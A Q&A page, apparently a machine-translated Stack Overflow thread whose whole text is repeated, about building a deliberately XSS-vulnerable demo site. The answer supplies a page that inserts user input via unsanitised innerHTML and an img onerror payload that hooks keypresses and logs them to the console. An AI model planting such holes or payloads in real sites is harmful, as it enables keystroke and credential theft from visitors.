如何使用键盘记录器制作 XSS 易受攻击的站点?
How to make a XSS vulnerable site with a keyboard logger?
我想创建一个容易受到 XSS 攻击的网站,攻击者试图注入一个键盘记录器,记录该网站上每个受害者的击键。
Here是部署的网站,代码如下:
function submitted(){
alert("Submitted!");
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="index.js"></script>
</head>
<body>
<h1>XSS keylogger test website</h1>
<form id="form">
<input type="text" id="fname" name="fname">
<input type="submit" value="Submit" onclick="submitted()">
</form>
</body>
</html>
包含可被注入的键盘记录器代码的 JS 脚本示例:
<script>
function keyPressed(){
alert("key pressed");
}
window.captureEvents (Event.KEYPRESS);
window.onkeypress=keyPressed;
</script>
如果我只是将代码放在输入字段中,什么也不会发生。我怎样才能将代码嵌入到实际有效的网站中?
信息
该项目仅用于演示和学习目的。
正在提交的负载没有返回到可能导致 xss 的页面上。
在我看来,您必须在服务器端进行更改。
keylogger who logs the keystrokes of every victim on this website.
根据您的设置,XSS 并不是这样工作的。 XSS 的工作原理是:
- 一个用户提交内容,然后服务器以不安全的方式将该内容呈现给其他用户。由于您的服务器不会保存 user-generated 内容(如在数据库中)然后将其显示给其他访问者,即使 考虑 这种方法也是 non-starter 因为你没有做那样的事情。
- 或者,用户被诱骗提交内容,然后导致任意代码执行。这是一个问题,因为例如,该用户的登录凭据和其他数据可能会被盗(如果该站点具有此类功能)。考虑到任何设计不当的 front-end 设置,此 是 合理可行的 - 例如,通过将用户文本插入 HTML 而不进行清理(例如使用待办事项列表或其他东西) . (如果你不将用户的文本插入到 DOM 某处,则 XSS 关闭 table)
const fname = document.querySelector('#fname');
function submitted(){
document.querySelector('.current-input-text').innerHTML = 'You submitted: ' + fname.value;
fname.value = '';
}
fname.value = `
<img src="bad" onerror='window.onkeypress = (e) => console.log(e.key + " PRESSED");'>`;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="index.js"></script>
</head>
<body>
<h1>XSS keylogger test website</h1>
<form id="form" onsubmit="return false;">
<input type="text" id="fname" name="fname">
<input type="submit" value="Submit" onclick="submitted()">
</form>
<div class="current-input-text"></div>
</body>
</html>
我想创建一个容易受到 XSS 攻击的网站,攻击者试图注入一个键盘记录器,记录该网站上每个受害者的击键。
Here是部署的网站,代码如下:
function submitted(){
alert("Submitted!");
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="index.js"></script>
</head>
<body>
<h1>XSS keylogger test website</h1>
<form id="form">
<input type="text" id="fname" name="fname">
<input type="submit" value="Submit" onclick="submitted()">
</form>
</body>
</html>
包含可被注入的键盘记录器代码的 JS 脚本示例:
<script>
function keyPressed(){
alert("key pressed");
}
window.captureEvents (Event.KEYPRESS);
window.onkeypress=keyPressed;
</script>
如果我只是将代码放在输入字段中,什么也不会发生。我怎样才能将代码嵌入到实际有效的网站中?
信息
该项目仅用于演示和学习目的。
正在提交的负载没有返回到可能导致 xss 的页面上。
在我看来,您必须在服务器端进行更改。
keylogger who logs the keystrokes of every victim on this website.
根据您的设置,XSS 并不是这样工作的。 XSS 的工作原理是:
- 一个用户提交内容,然后服务器以不安全的方式将该内容呈现给其他用户。由于您的服务器不会保存 user-generated 内容(如在数据库中)然后将其显示给其他访问者,即使 考虑 这种方法也是 non-starter 因为你没有做那样的事情。
- 或者,用户被诱骗提交内容,然后导致任意代码执行。这是一个问题,因为例如,该用户的登录凭据和其他数据可能会被盗(如果该站点具有此类功能)。考虑到任何设计不当的 front-end 设置,此 是 合理可行的 - 例如,通过将用户文本插入 HTML 而不进行清理(例如使用待办事项列表或其他东西) . (如果你不将用户的文本插入到 DOM 某处,则 XSS 关闭 table)
const fname = document.querySelector('#fname');
function submitted(){
document.querySelector('.current-input-text').innerHTML = 'You submitted: ' + fname.value;
fname.value = '';
}
fname.value = `
<img src="bad" onerror='window.onkeypress = (e) => console.log(e.key + " PRESSED");'>`;
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="index.js"></script>
</head>
<body>
<h1>XSS keylogger test website</h1>
<form id="form" onsubmit="return false;">
<input type="text" id="fname" name="fname">
<input type="submit" value="Submit" onclick="submitted()">
</form>
<div class="current-input-text"></div>
</body>
</html>